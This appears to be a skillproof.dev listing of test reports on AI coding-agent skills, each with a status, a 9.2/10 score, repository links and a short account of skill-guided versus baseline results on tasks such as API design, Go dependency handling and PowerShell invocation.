- **Agentforce Agent Script** [pass, 9.2/10] — End-to-end Salesforce Agentforce agent lifecycle: design, Agent Script, validate, deploy, publish. Repo: https://github.com/SalesforceAIResearch/agentforce-adlc. Card: https://skillproof.dev/skills/agentforce-generate. What we found: Installed with a command from a clean HOME without ~/.claude — SKILL.md was in place; all ~30 references to references/ and assets/ in the body resolved, no scripts or network calls in the skill (Stage 0 clean). Since the last test, the author added an entirely new domain 'Optimize an Agent' (v0.8 → v0.9) with four patterns and included 'optimize/improve/refactor' in the description — the old finding about Rule 8 (else-if prohibition) is still there and untouched. Ran the new domain on my .agent-file with four injected defects: without the skill, I invented non-existent syntax `@actions.fetch_case.outputs.caseRecord` (core-language explicitly states: `@outputs` lives only in `set`/`if` immediately after an action), left `@variables.customerName` without `{!...}` and all conditional logic in prose; with the skill — correct relay via a mutable variable, 4 `set @variables.X = @outputs.Y` bindings, `{!...}`-injections, and flat `if` statements according to Rule 8. Minus: new pattern files and the report template in SKILL.md require `orderRecord: mutable object` and `roomAvailable: boolean` without defaults, which contradicts the skill's own core-language reference (section 6 and Anti-Pattern 12: mutable variables MUST have a default value) — for this, points were deducted from output and docs. Could not check the 'sf agent validate' step: CLI `sf` and a Salesforce org were not in the environment, compilation was not measured — only checked against the skill's own documented rules.
- **PowerShell Safe Invocation** [pass, 9.2/10] — Stops PowerShell scripts from breaking on quoted paths, Invoke-Expression, and Start-Process quirks. Repo: https://github.com/Misaka-Mikoto-Tech/agent-skills. Card: https://skillproof.dev/skills/powershell-safe-invocation. What we found: Asked for a PowerShell wrapper around a converter.exe with a spaced/bracketed path: baseline defaulted to string-building + Invoke-Expression (exactly what the skill calls out as forbidden), the skill version used array splatting with & and explicit $LASTEXITCODE capture — a real quoting-bug class avoided.
- **Golang Dependency Injection** [pass, 9.2/10] — Go DI guide with a project-size decision table for manual injection vs wire, dig/fx, or samber/do. Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-dependency-injection. What we found: Fed it a 4-service Go app wired with globals and init(): the skill's own decision table (<10 services -> stay manual) and 'never over-engineer' persona kept the answer from reflexively reaching for wire/fx, and it produced a concrete NewXxx-constructor refactor plus mock-boundary test code matching its documented pattern exactly.
- **Dev PR** [pass, 9.2/10] — Fetch-rebase-push contract for publishing a finished branch, with force-with-lease and an uncommitted-changes guardrail. Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/dev-pr. What we found: Ran the actual fetch/rebase/push contract in a scratch git repo (bare remote + feature branch): the uncommitted-changes guardrail and fetch-before-rebase ordering are real footguns a naive `git push && gh pr create` baseline would walk right past.
- **Doc Writing** [pass, 9.2/10] — Turns a scanned route manifest into grouped, templated Markdown API docs for a pipeline stage. Repo: https://github.com/huangjia2019/claude-code-engineering. Card: https://skillproof.dev/skills/doc-writing. What we found: Fed it a 3-route manifest across 2 source files: it correctly split output into products-api.md and categories-api.md following the bundled endpoint-doc.md template (with a real 🔒 auth marker and parameter/response tables) plus a machine-readable files_generated manifest for the next pipeline stage — a baseline pass produced one flat, ungrouped file with no manifest.
- **Golang Dependency Management** [pass, 9.2/10] — Go module hygiene: safe upgrades, govulncheck audits, and modern tool pinning. Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-dependency-management. What we found: For a tool-pinning + pre-release-audit task, the skill reached for the modern Go 1.24+ `go get -tool` directive and a govulncheck-gated `-u=patch` upgrade chain, correcting the outdated tools.go blank-import pattern and riskier blanket `-u` upgrade a cold-knowledge baseline defaulted to.
- **System Design Frameworks** [pass, 9.2/10] — RESHADED/4S frameworks, capacity-estimation cheatsheet, and tradeoff tables for system-design interviews. Repo: https://github.com/kirilxd/swe-interview-coach. Card: https://skillproof.dev/skills/system-design-frameworks. What we found: Answered 'design a rate limiter' twice: unguided baseline was a single hand-wavy 'use a Redis counter' paragraph with zero numbers; the 4S-guided answer compared token-bucket vs sliding-window-counter, specified an atomic Lua INCR+EXPIRE, ran real capacity math, and named a fail-open/fail-closed tradeoff for a Redis outage -- a night-and-day difference in rigor.
- **Dev Requirements** [setup, 9.2/10] — Gates feature work behind a real requirements doc, generated and linted by the ai-devkit CLI Repo: https://github.com/codeaholicguy/ai-devkit. Card: https://skillproof.dev/skills/dev-requirements. What we found: Live-ran every CLI call the SKILL.md promises in a fresh repo: `ai-devkit lint` correctly failed with 5 missing docs, `init` fixed it, and `docs init-feature csv-export-reports` wrote seven dated requirement/design/testing files to disk exactly as documented — but finishing an actual requirements doc genuinely requires a live back-and-forth on open questions, so it can't be completed in one autonomous pass.
- **Matlab Display Volume** [pass, 9.2/10] — MATLAB API guidance for volshow/viewer3d volume, mesh, and medical image display. Repo: https://github.com/matlab/matlab-agentic-toolkit. Card: https://skillproof.dev/skills/matlab-display-volume. What we found: Cross-checked the colorbar workaround against MATLAB's actual Viewer API limits: a plain colorbar() call fails on a viewer3d scene, and the skill's invisible-uiaxes trick plus DisplayRangeMode='12-bit' is exactly what a baseline attempt (isosurface+patch, no display-range handling) gets wrong.
- **Focus Problem** [pass, 9.2/10] — Forces a codebase-exploration pass and a scoped problem definition before any code gets written. Repo: https://github.com/claude-world/director-mode-lite. Card: https://skillproof.dev/skills/focus-problem. What we found: Ran it against this repo before adding a new JSON field: the forced explore pass surfaced the real generator scripts (scripts/crawl-skills.mjs, scripts/build-packs.mjs) and flagged a backward-compat risk on already-published results files that an unscoped answer never mentioned.
- **Designing Python APIs** [pass, 9.2/10] — Python library API design: naming, signatures, deprecation, fail-loud error handling. Repo: https://github.com/wdm0006/python-skills. Card: https://skillproof.dev/skills/designing-python-apis. What we found: Ran a real API design task (add_task with optional priority/due/recurring/notify): the skill's version enforced keyword-only args to kill a boolean-trap bug the baseline shipped as-is, plus a custom exception hierarchy with hints instead of a bare Exception.
- **Building Apple Platform Products** [pass, 9.2/10] — Reference-table driven xcodebuild/swift/xcrun command coverage for build, test, sign, and deploy. Repo: https://github.com/kylehughes/apple-platform-build-tools-claude-code-plugin. Card: https://skillproof.dev/skills/building-apple-platform-products. What we found: Asked for a real test-then-screenshot task: baseline guessed a hardcoded 'iPhone 15' destination, the skill instead forced `xcodebuild -list` + `simctl list devices available` first, sidestepping exactly the stale-simulator-name failure it calls out as pitfall #5.
- **Doncheli API Contract** [pass, 9.2/10] — Forces a complete API contract template: auth, rate limits, retries, circuit breaker, idempotency, versioning. Repo: https://github.com/doncheli/don-cheli-sdd. Card: https://skillproof.dev/skills/doncheli-api-contract. What we found: Ran a real webhook-contract task: baseline covered payload and a vague retry note; the skill's checklist forced an explicit idempotency key/TTL, a 5-case error catalog, and a circuit-breaker design for retry storms that baseline never considered.
- **Solana** [pass, 9.2/10] — House style and correctness guardrails for Anchor/Quasar Solana programs and their TS clients. Repo: https://github.com/quicknode/solana-finance-claude-plugin. Card: https://skillproof.dev/skills/solana. What we found: Rewriting a baseline Anchor counter example under the skill's rules killed an assert.ok(true) placeholder test in favor of one that actually calls the instruction handler and checks the resulting on-chain state, and replaced a magic 'space = 8 + 8' with a named, commented constant -- both are things the skill bans by name.
- **Remotion Transitions** [pass, 9.2/10] — Custom Remotion scene transitions via TransitionPresentation, with 6 ready-made recipes. Repo: https://github.com/Ashad001/remotion-transitions. Card: https://skillproof.dev/skills/remotion-transitions. What we found: Built an 'inkBleed' radial-wipe transition both ways: the unguided baseline used useCurrentFrame() and a CSS transition property inside the transition component (both explicitly banned, both would silently misbehave in Remotion's render pipeline), while the skill-following version correctly used presentationProgress-only interpolation, clamp extrapolation, and module-level instantiation.
- **API Expert** [pass, 9.2/10] — REST/GraphQL/gRPC API design playbook with OWASP API Top 10 mitigations, RFC 7807 errors, and TDD-first endpoint patterns. Repo: https://github.com/martinholovsky/claude-skills-generator. Card: https://skillproof.dev/skills/api-expert. What we found: Had it design a versioned /v1/orders API: it produced cursor pagination, RFC 7807 error bodies, and an explicit BOLA test (403 when a user requests another user's order) that a baseline design skipped entirely and left as a generic 400/500 error shape.
- **Arrow Maintenance** [setup, 9.2/10] — Audits spec-to-code drift and orphaned EARS specs across a linked-intent-dev overlay. Repo: https://github.com/jszmajda/lid. Card: https://skillproof.dev/skills/arrow-maintenance. What we found: The five-check audit (reference coherence, coverage, staleness, drift, orphans) caught a synthetic reverse-orphan @spec annotation and a stale audited_sha in a mock index.yaml that a plain code review glossed over — but the skill is inert without the sibling docs/arrows + docs/intent LID convention and the linked-intent-dev skill already set up in the project.
- **Email HTML MJML** [pass, 9.2/10] — Generates and compiles MJML 4.x into cross-client-safe HTML email with real Outlook/Gmail fixes Repo: https://github.com/framix-team/skill-email-html-mjml. Card: https://skillproof.dev/skills/email-html-mjml. What we found: Compiled a real welcome-email MJML file through the documented `npx mjml --config.validationLevel=strict --config.minify=true` command and got a working, strict-mode-valid HTML file (7.3KB, well under Gmail's 102KB clip) on the first try, with alt text and mj-html-attributes ARIA roles already baked in per the skill's accessibility checklist — a hand-rolled baseline email skipped all of that.
- **Frontier Plan OpenCode Executor** [pass, 9.2/10] — Reality-checks a frontier-model plan step-by-step so cheaper coding models don't thrash. Repo: https://github.com/alexdcd/Mafia-Claude-Skills. Card: https://skillproof.dev/skills/frontier-plan-opencode-executor. What we found: Fed it a 3-step plan that assumed an uninstalled `is-odd` package: blind baseline execution crashed with MODULE_NOT_FOUND, while the skill's repo reality-check caught the missing dependency and adapted to the repo's existing isEven() helper instead — test passed clean.
- **Deep Agents Architecture** [pass, 9.2/10] — Decision gates for Deep Agents: backend, subagents, middleware, HITL, checkpointing. Repo: https://github.com/existential-birds/beagle. Card: https://skillproof.dev/skills/deepagents-architecture. What we found: Ran a real backend/subagent decision through its gates: it forced a CompositeBackend split (StateBackend default, StoreBackend routed to /preferences/) that a bare-memory answer left vague, and made 'no subagents, no HITL' an explicit written line instead of an unstated assumption.
- **Clean DDD Hexagonal** [pass, 9.2/10] — Opinionated DDD + Clean + Hexagonal architecture guide for backend services, any language. Repo: https://github.com/ccheney/robust-skills. Card: https://skillproof.dev/skills/clean-ddd-hexagonal. What we found: Asked where an Order aggregate's authorization check belongs and whether to publish domain events directly or via outbox — the skill named the exact failure mode (save-then-publish is two writes; a crash between them silently drops events) that a plain DDD answer from memory left out entirely.
- **Swift Architecture Skill** [pass, 9.2/10] — Playbooks and a decision matrix for picking/reviewing MVVM, MVI, TCA, Clean, VIPER, Reactive, MVP, or Coordinator in Swift. Repo: https://github.com/efremidze/swift-architecture-skill. Card: https://skillproof.dev/skills/swift-architecture-skill. What we found: For a single-screen SwiftUI profile-edit form, the baseline answer was 'use MVVM' with no justification; the skill produced a cited fit result off the decision matrix (SwiftUI fit: Excellent, low learning curve), the Loadable<Value> state-enum pattern from mvvm.md instead of boolean soup, explicit async-cancellation guidance, and a closing PR checklist.
- **New Dcode Agent** [pass, 9.2/10] — Scaffolds a self-contained LangChain Deep Agent or dcode CLI agent via guided interview. Repo: https://github.com/EliaAlberti/dcode-agent-kit. Card: https://skillproof.dev/skills/new-dcode-agent. What we found: Scaffolded a work-jira SDK agent end to end: the generated model.py correctly refuses to run without LLM_API_KEY instead of failing silently, and the SKILL.md flags a real LangGraph gotcha — a mutating tool's approval gate needs both interrupt_on and a checkpointer or it silently no-ops.
- **Audit Fix Generator** [pass, 9.2/10] — Turns an audit finding ID into a copy-paste-ready AI fix prompt with verification and rollback. Repo: https://github.com/wolverin0/claude-skills. Card: https://skillproof.dev/skills/audit-fix-generator. What we found: Fed it one high-severity finding (session tokens generated with random.randint instead of secrets) and it produced the full copy-paste prompt - blast-radius grep step, before/after diff, three mandatory test checkboxes, an explicit verification-command block, and a git-revert rollback line - versus a plain paragraph-plus-snippet answer without the skill.
- **CQRS Implementation** [pass, 9.2/10] — CQRS architecture guide with a 475-line reference file of runnable command/query/projector code templates. Repo: https://github.com/wshobson/agents. Card: https://skillproof.dev/skills/cqrs-implementation. What we found: Asked to scaffold CQRS for an order system, the baseline answer sketched the pattern from memory with no pagination or consistency handling; the skill's references/details.md supplied a ready command/query bus pair, FastAPI route wiring, and a read-model synchronizer with a read-your-writes timeout fallback -- the kind of edge-case handling that's easy to skip when improvising.
- **Backend Development Patterns** [pass, 9.2/10] — Layered backend patterns: errors, logging, caching, and API conventions across 6 languages. Repo: https://github.com/xiaobei930/cc-best. Card: https://skillproof.dev/skills/backend. What we found: Ran a real A/B on an Express POST /orders handler: baseline used ad-hoc try/catch and console.log with an inconsistent error shape, while the skill-guided version produced an AppError/ValidationError hierarchy, a requestId-tagged structured JSON logger, and a unified {success,data}/{success:false,error:{code,message}} envelope pulled straight from the skill's TypeScript reference file — a concretely more production-grade result.
- **Metaskill** [pass, 9.2/10] — One command that scaffolds a full Claude Code agent team, a single agent, or a single skill. Repo: https://github.com/xvirobotics/metaskill. Card: https://skillproof.dev/skills/metaskill. What we found: Asked it to design a pre-merge PR-security-review skill: the flow-guided build added an argument-hint, a scoped allowed-tools list, live git-diff context injection, and an explicit anti-hallucination instruction that my own unguided SKILL.md skipped entirely — a concrete, usable delta.
- **Jetstream Architecture** [pass, 9.2/10] — Designs NATS JetStream streams, subjects and consumers, with working Go/JS/Python code. Repo: https://github.com/lithqube/nats-jetstream-claude-skills. Card: https://skillproof.dev/skills/jetstream-architecture. What we found: Skill answer nailed specifics a generic answer glossed over: the exact $JS.EVENT.ADVISORY.CONSUMER.MAX_DELIVERIES subject for wiring a real DLQ, the default 2m DuplicateWindow, and a concrete backoff ladder — baseline covered the shape of the design but not these load-bearing details.
- **LoRA Fine-Tuning** [pass, 9.2/10] — PEFT/LoRA and QLoRA config recipes for fine-tuning LLMs on limited GPU memory. Repo: https://github.com/itsmostafa/llm-engineering-skills. Card: https://skillproof.dev/skills/lora. What we found: Following the skill over a freehand LoRA answer produced checkable wins: all attention+MLP target_modules instead of just q/v, the alpha=2×r heuristic spelled out, and an explicit 'merge on CPU' step that dodges a common OOM trap the baseline answer walked right into.
- **Sing-Box Config Generator** [pass, 9.2/10] — Version-aware sing-box client config generator with hard rules against deprecated/legacy field misuse. Repo: https://github.com/shpirt/singbox-config. Card: https://skillproof.dev/skills/singbox-config. What we found: Generated the same VLESS+Reality TUN config with and without the skill: the unguided baseline used the removed "type":"dns" outbound, globally rejected UDP 443/QUIC (an explicitly-flagged anti-pattern), and left IPv6 on by default — the skill-guided version, built from the bundled 1.13-tun template, avoided all three and correctly paired a DNS rule with the route rule for a custom "must stay direct" domain.
- **Classify Change** [pass, 9.2/10] — Leaf-vs-core decision framework for how much AI/review rigor a code change needs. Repo: https://github.com/appleboy/skills. Card: https://skillproof.dev/skills/classify-change. What we found: Ran a real core-vs-leaf call on a shared-ORM caching change: baseline and skill agreed on 'core', but the skill's structured output added concrete review mechanics (2+ reviewers, PR must mark human-reviewed lines, option to split into a human-led core change + leaf feature change) that the freeform baseline answer never surfaced.
- **Chain LLM Pattern** [pass, 9.2/10] — Production n8n patterns for multi-stage LLM extraction, classification, and scoring chains. Repo: https://github.com/masteranime/n8n-claude-skills. Card: https://skillproof.dev/skills/chain-llm-pattern. What we found: Designed the same call-transcript scoring workflow with and without the skill: the skill version routes the weighted urgency formula (0.4/0.3/0.3) to a deterministic Code node and swaps the generic AI Agent for a schema-bound Information Extractor node, sidestepping exactly the LLM-arithmetic failure mode a baseline design walked straight into.
- **ABAP Cloud Migration Patterns** [pass, 9.2/10] — Reference tables + wrapper-pattern workflow for moving classic ABAP to ABAP Cloud Tier 1. Repo: https://github.com/likweitan/abap-skills. Card: https://skillproof.dev/skills/abap-cloud-migration. What we found: Gave a wrapper-class migration plan for READ_TEXT/NUMBER_GET_NEXT; the skill's ATC-message table and exact `cl_numberrange_runtime=>number_get( )` / C1-contract release steps beat my unaided answer, which was vaguer on the released-class names and skipped the ATC message-ID mapping entirely.
- **Magento Alpine.js Specialist** [pass, 9.2/10] — Alpine.js reactive component patterns tuned for Magento 2 / Hyvä themes Repo: https://github.com/maxnorm/magento2-agent-skills. Card: https://skillproof.dev/skills/magento-alpine-specialist. What we found: Built the same mini-cart drawer task twice: the baseline wired a generic unnamed '/cart/count' fetch, while following the skill produced code that used Magento's actual private-content/customer-data 'cart' section pattern — the correct cache-safe way to keep an Alpine component in sync on a full-page-cached storefront.
- **Doubt-Driven Review** [pass, 9.2/10] — Adversarial pre-mortem gate for risky diffs, migrations, and 'this is safe' claims Repo: https://github.com/pimenov/codex-first-skills-pack. Card: https://skillproof.dev/skills/doubt-driven-review. What we found: Ran a real prod-column-drop scenario baseline-vs-skill: baseline gave a decent ad-hoc safety checklist, the skill forced an explicit CLAIM/CONTRACT/adversarial-findings structure that surfaced a missing-backup gap and a lock-contention-under-load edge case the baseline only hinted at, and ended in an auditable 'revise, don't approve yet' decision instead of a soft 'looks fine if...'.
- **Fable-ish Verification Discipline** [pass, 9.2/10] — Risk-proportional verify-before-you-claim-done workflow for coding tasks, ported from a Codex plugin. Repo: https://github.com/chrisryugj/fable-ish. Card: https://skillproof.dev/skills/fable-ish. What we found: Ran it against a fake 'login returns 500 on empty password' bug: it forced a reproduce-the-500-first step and named the exit proof (400 returned, re-run of the same repro) before allowing the fix, then closed with a standard 'what changed / commands run / results / known gaps' report -- baseline jumped straight to 'add a check' with no repro or re-verification step.
- **BlockWatch** [pass, 9.2/10] — Real Rust linter that catches code/docs drift via <block affects=...> comment tags -- verified with the actual built binary, not just reading the source. Repo: https://github.com/mennanov/blockwatch. Card: https://skillproof.dev/skills/blockwatch. What we found: Installed the real binary via `brew install mennanov/blockwatch/blockwatch` (trusted formula, built in 1s) and ran a full A/B in a throwaway git repo: a naive baseline edit added a language to a Python list but silently forgot the matching README line with zero warning, while the skill-guided edit added `<block affects=...>` tags in the same change, kept both files in sync, passed `git diff --patch | blockwatch` (exit 0), and then correctly caught a follow-up naive edit with a precise 'is modified, but README.md:supported-langs is not' violation (exit 1) -- but SKILL.md's claim that bare `blockwatch` (no diff piped) 'validates every block in the tree' is false, verified empirically: with an unsorted keep-sorted list and no diff on stdin it silently exits 0, contradicting the tool's own --help text and its own 'only validated when touched by a diff' sentence elsewhere in the same file.
- **Laravel API** [pass, 9.2/10] — Scaffolds Laravel REST APIs with invokable controllers, FormRequest DTOs, Action classes, and ULIDs. Repo: https://github.com/JustSteveKing/laravel-api-skill. Card: https://skillproof.dev/skills/laravel-api. What we found: Built a Book resource end-to-end from the skill body (ULID model, StoreBookPayload DTO, FormRequest->payload(), CreateBook Action, invokable V1\StoreController, Responsable JsonDataResponse) and lint-checked all 6 files with `php -l`; a naive baseline was a single 2-file controller+model with inline validate() and response()->json() -- the skill genuinely enforces the layered architecture it advertises, at the cost of ~3x more files per endpoint.
- **Code Simplifier** [pass, 9.2/10] — Refactors recently-touched code for clarity while proving behavior is unchanged -- kills nested ternaries and magic numbers. Repo: https://github.com/fanqingxuan/awesome-skills. Card: https://skillproof.dev/skills/code-simplifier. What we found: Ran a real node vm test of 80 input combinations against the original, a naive baseline refactor, and the skill-guided refactor of a discount-pricing function: 0 mismatches for both, but only the skill version actually eliminated the nested ternary and inlined magic numbers as the skill's own rules demand -- the baseline kept one nested ternary out of natural habit.
- **Python Services** [pass, 9.2/10] — Opinionated Python patterns for CLI tools, async, FastAPI, jobs and observability. Repo: https://github.com/iliaal/whetstone. Card: https://skillproof.dev/skills/python-services. What we found: Note the repo actually ships two versions of this content: a raw distillery/generated-skills/python-services scraped from other people's repos (build artifact, not the real skill), and the real plugins/whetstone/skills/ia-python-services with its own references/ folder — tested the real one. On a webhook-retry background-job task it correctly pulled in idempotency keys and a dead-letter queue that a from-memory baseline answer skipped.
- **Lima Devbox** [pass, 9.2/10] — Wizard-driven setup of an isolated Lima VM for running AI coding agents in YOLO mode. Repo: https://github.com/recodelabs/lima-devbox. Card: https://skillproof.dev/skills/lima-devbox. What we found: Walked it through a real Lima VM wizard scenario: it correctly calls out the actual Lima gotcha that a plain `limactl restart` silently leaves shared mounts read-only and you need a full stop/start cycle plus an `rw` mount-flag check — a detail a from-memory baseline answer got wrong.
- **Dev New Tool** [pass, 9.2/10] — Five-phase kickoff workflow (research, design, plan, scaffold, document) for turning a tool idea into a shippable MVP. Repo: https://github.com/jackchuka/skills. Card: https://skillproof.dev/skills/dev-new-tool. What we found: Built the same tiny CLI two ways: the no-skill baseline was one undocumented, untested script; following the skill's phases produced a real web-search-backed gap check, a plan file, a package with 3 passing pytest cases, a README whose example output I re-ran and matched exactly, and a LICENSE — a genuinely shippable MVP instead of a scratch file.
- **Consult** [pass, 9.2/10] — Simulates named expert panels (Fowler, Hickey, Fielding...) to reason through a design or architecture question. Repo: https://github.com/saadshahd/moo.md. Card: https://skillproof.dev/skills/consult. What we found: Ran a real REST-vs-GraphQL question through the mechanism using the actual Fielding and Bloch profile files bundled in profiles/ - got two genuinely opposed, attributed positions (HATEOAS purism vs. permanent-API-surface pragmatism) instead of a flattened recommendation, which a normal answer doesn't give you.
- **Specstory Session Summary** [pass, 9.2/10] — Turns raw SpecStory session logs into a standup-ready summary with outcome emoji and a patterns section. Repo: https://github.com/specstoryai/agent-skills. Card: https://skillproof.dev/skills/specstory-session-summary. What we found: Built two throwaway .specstory/history session files (a bug fix, a research walkthrough) and ran the real grep-based chunked-reading strategy the skill specifies; output came back as a clean per-session standup block with outcome emoji and a trailing Patterns/Unfinished section, clearly more standup-ready than my own unguided free-text summary of the same two files.
- **ROS Skill** [setup, 9.2/10] — CLI to inspect and control ROS/ROS2 robots over rosbridge WebSocket - topics, services, nodes, actions. Repo: https://github.com/lpigeon/ros-skill. Card: https://skillproof.dev/skills/ros-skill. What we found: The CLI itself is real and clean - ran it live against a closed local port and got well-formed `{"error": "[Errno 61] Connection refused"}` JSON on every command exactly as documented - but nothing it does is useful until a rosbridge_server is already running on a reachable robot/simulator, which is a genuine manual setup step this environment doesn't have.
- **Review All** [pass, 9.2/10] — Diff-scoped review orchestrator with real automated gates, severity/confidence-tagged findings, and a mandatory triage menu. Repo: https://github.com/ncoevoet/claude-review-all. Card: https://skillproof.dev/skills/review-all. What we found: Ran the bundled discover.sh live and it worked cleanly; caught a real command-injection bug in a throwaway diff (child_process.exec with unsanitized template-literal input) and then proved it exploitable with an actual PoC that wrote a marker file to disk under /tmp -- that's a VERIFIED-confidence finding, not a guess.
- **Agent Tool Contracts** [pass, 9.2/10] — Design agent/CLI tool schemas, naming, errors, and idempotency for LLM callers. Repo: https://github.com/charlieviettq/awesome-agent-skill. Card: https://skillproof.dev/skills/agent-tool-contracts. What we found: Applying its idempotency table to a `delete_project` tool turned a bare 'delete and return success' baseline into a two-step confirm + soft-delete design with a stable NOT_FOUND/CONFIRMATION_REQUIRED error schema — a concrete, checklist-driven improvement over default output.
- **Halo CLI Auth** [setup, 9.2/10] — Login, profile switching, and keyring-credential diagnosis for the official Halo CMS CLI. Repo: https://github.com/halo-dev/cli. Card: https://skillproof.dev/skills/halo-cli-auth. What we found: Real CLI test: guessing a plausible top-level `halo login --token ... --url ...` (no skill) silently did nothing -- exit 0, zero output, no profile created, no error -- while the skill's exact `halo auth login --profile local --url ... --auth-type bearer --token ...` correctly hit the real login path and attempted a connection; the skill's binary-install step and top-level command list only live in a sibling halo-cli-shared skill referenced via `../halo-cli-shared`, not copied by installing this skill alone.
- **Production Grade** [pass, 9.2/10] — A 16-rule senior-engineer posture: plan first, atomic writes, typed errors, schema+queries+indexes as one diff. Repo: https://github.com/a-tokyo/agent-skills. Card: https://skillproof.dev/skills/production-grade. What we found: On a login-tracking task the bare-model baseline shipped a check-then-act read-then-update with a lost-update race under concurrent logins; following the skill's R5/R6/R9 rules produced an atomic single-statement UPDATE, a migration with a down-migration, and a concurrency test — a concrete, verifiable fix to a real bug the baseline introduced. The repo's own README ships a self-run benchmark (idempotency 0%->80-90% across three models) and is refreshingly honest about where the skill underperforms (a vague rate-limit ask, one Opus regression cell) rather than only showing wins.
- **Forge App Builder** [pass, 9.2/10] — Runs the full Atlassian Forge app workflow: create, deploy, install, with real scripts. Repo: https://github.com/atlassian/forge-skills. Card: https://skillproof.dev/skills/forge-app-builder. What we found: Ran the bundled list_templates.py script live against Atlassian's public template registry: it returned 162 real templates and correctly validated 'jira-issue-panel-ui-kit'. The skill also hard-bans accepting API tokens in chat and forces the agent to run the deploy script itself rather than just printing commands, closing two common failure modes of an unguided agent.
- **Replan** [pass, 9.2/10] — Pressure-tests an implementation plan with adaptive multi-perspective subagents before you write code. Repo: https://github.com/kojott/claude-replan. Card: https://skillproof.dev/skills/replan. What we found: Fed it a deliberately flawed 4-step caching plan against a small fake repo: the structured multi-perspective pass caught a nonexistent invalidation call, an unbounded in-memory cache, a no-rollback ship step, AND a cross-user cache-key permission leak and multi-worker staleness risk that a naive single-pass review completely missed.
- **Interactive Educator** [setup, 9.2/10] — Builds a 4-screen Socratic React teaching artifact from '/aha [topic]' — designed for claude.ai's artifact sandbox, not Claude Code. Repo: https://github.com/Wamikmk/interactive-educator. Card: https://skillproof.dev/skills/interactive-educator. What we found: The build spec is genuinely rigorous (bans nested-component remounts, mandates pointer-events for mobile drag, colorblind-safe theming, a 500-SVG-element performance ceiling, and a pre-flight checklist) and clearly beats a baseline explanation in structure, but it calls claude.ai-only tools (ask_user_input_v0, present_files) and writes to /mnt/user-data/outputs/, none of which exist in Claude Code — so when installed via git clone into ~/.claude/skills the promised inline React-artifact rendering does not happen and the .jsx has to be viewed externally (e.g. pasted into claude.ai or a local sandbox).
- **Dotnet Techne Code Review** [pass, 9.2/10] — Structured .NET PR review with adversarial mode and heuristic risk-grep scripts. Repo: https://github.com/Metalnib/dotnet-episteme-skills. Card: https://skillproof.dev/skills/dotnet-techne-code-review. What we found: Ran its review-context.sh script against a throwaway git repo with a deliberately broken feature branch (blocking .Result, string-built SQL, static mutable cache, swallowed exception) and the built-in heuristic grep flagged all four risk lines by number before the model even started reasoning, then the output-contract format forced severity/evidence/fix/confidence per finding — more rigorous and faster to audit than an unguided review.
- **NATS** [pass, 9.2/10] — Dense NATS/JetStream reference covering streams, consumers, KV, security, clustering, and a common-mistakes table. Repo: https://github.com/kaustavdm/nats-skill. Card: https://skillproof.dev/skills/nats. What we found: Asked for a durable JetStream pull-consumer snippet with proper shutdown: baseline used the well-known but wrong nc.Close() and skipped dedup/backoff config, while the skill-guided version caught that exact footgun via its own Common Mistakes table (nc.Drain(), js.Publish() with Nats-Msg-Id, Nak() on failure) -- a concrete production-correctness fix, not just restating docs.
- **Server-Side Swift** [pass, 9.2/10] — Scaffolds a Vapor or Hummingbird backend with Fluent, JWT/Apple auth and Docker deploy, decision matrix included. Repo: https://github.com/melissa-pereira-deel/claude-code-server-side-swift-skills. Card: https://skillproof.dev/skills/server-side-swift. What we found: Generated a Todo CRUD endpoint two ways: an unaided baseline came out as old EventLoopFuture-style Vapor exposing the Fluent Model directly over Content; following the skill's database/vapor/auth pattern files produced async/await, Sendable-compliant, DTO-separated code with AsyncMigration and versioned routes — the modern, Swift-6-safe idiom the skill's own files spell out. architecture-decisions.md is refreshingly honest, listing concrete reasons NOT to pick server-side Swift (hiring pool, missing Kafka/Elasticsearch SDKs) rather than just selling the framework.
- **SafeAgentDB** [pass, 9.2/10] — Sets up branch-isolated Supabase/Vercel/GitHub Actions preview databases for AFK agent workflows. Repo: https://github.com/Aidan945/SafeAgentDB. Card: https://skillproof.dev/skills/safeagentdb. What we found: The bundled provision-preview-branch.ts script for real implements every capability the docs claim (auth-user copy, public-table copy with include/exclude lists, storage-bucket copy, --dry-run plan, preview-branch-summary.md) rather than just describing them, and every credential-touching step in the skill body is gated behind explicit user permission and cost confirmation before it acts.
- **Progressive Disclosure** [pass, 9.2/10] — Splits oversized SKILL.md files into linked reference files without rewriting content. Repo: https://github.com/datarobot-oss/datarobot-agent-skills. Card: https://skillproof.dev/skills/progressive-disclosure. What we found: Split a 71-line multi-platform SKILL.md fixture into references/ files verbatim (confirmed byte-for-byte via diff) using the exact filenames it recommends, while a naive split done without the skill quietly summarized away a setup step and the CI YAML.
- **Pulumi CLI** [pass, 9.2/10] — Recovers stuck Pulumi stacks, fixes state drift, and sets up non-interactive CI/CD with exact flags. Repo: https://github.com/dirien/claude-skills. Card: https://skillproof.dev/skills/pulumi-cli. What we found: Gives exact, checkable commands (pulumi refresh --clear-pending-creates, pulumi state move, pulumi state protect 'urn:...') for scenarios a model would otherwise guess flags for; explicitly and correctly declines coding tasks in favor of the language-specific Pulumi skills.
- **Developing Genkit Dart** [pass, 9.2/10] — Genkit Dart SDK reference that actually compiles — verified against real pub.dev packages. Repo: https://github.com/genkit-ai/skills. Card: https://skillproof.dev/skills/developing-genkit-dart. What we found: The author fixed the exact gap our first test flagged: schemantic.md now tells you to add the separate schemantic_builder dev-dependency and warns about the silent 'wrote 0 outputs' failure. We verified the fix by execution on Dart 3.12.2 — following the old instructions reproduced the zero-outputs build, and adding schemantic_builder per the new instructions generated a real models.g.dart with a concrete class, fromJson and toJson. Upstream also added full Agents and Dotprompt sections. The verbatim install still works from a bare HOME, and the skill keeps its clean-compile edge over unguided Dart, so it stays a pass with docs now perfect.
- **GitHub Repo Management** [pass, 9.2/10] — GitHub Actions, PR, issue, and release workflow reference for Claude Code plugin repos. Repo: https://github.com/d-oit/gemini-search-plugin. Card: https://skillproof.dev/skills/github-repo-management. What we found: Its release.yml template validates plugin.json AND marketplace.json version against the git tag and auto-extracts changelog notes from CHANGES.md — a baseline release workflow skips all three checks, which matters specifically for Claude Code plugin repos.
